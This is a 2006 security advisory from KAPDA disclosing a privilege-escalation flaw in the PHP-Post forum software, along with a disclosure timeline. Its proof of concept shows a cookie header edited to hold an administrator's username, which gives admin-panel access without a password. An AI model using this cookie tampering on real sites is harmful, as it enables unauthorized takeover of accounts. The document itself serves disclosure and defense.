[KAPDA::#52] - PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability

KAPDA New advisory

Vulnerable product: Tested on PHP-Post 0.21 and 1.0
Vendor: http://php-post.co.uk
Vulnerability: Privilege Escalation

Date:
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Found: Nov 23, 2005
Vendor Contacted: Jun 01, 2006
Release Date: July 18, 2006

About PHP-Post:
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Free, full featured php+mysql Forum Management System.

Vulnerability:
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Privilege Escalation:
PHP-Post contains a flaw that may allow a remote attacker to gain administrative privileges.
PHP-Post doesn't properly authenticate remote users if auto login is on!
By editing the values of the cookie, an attacker can change their privilege from a regular user to administrator and submit it back to the site.

Proof of Concepts:
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Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]=3nitr0; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330

change to:

Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]="ADMIN`S USERNAME"; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330

refresh the site, go to the admin`s panel without password ;)

Solution:
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No special patch is yet released by vendor but the vendor's website was patched!

Jun 01, 2006: vendor contacted
Jun 03, 2006: vendor replied
* July 18, 2006: public release

Original Advisory:
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http://www.kapda.ir/advisory-380.html

Credit:
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FarhadKey of KAPDA
farhadkey [at} kapda <d0t> net
Kapda - Security Science Researchers Insitute of Iran
http://www.KAPDA.ir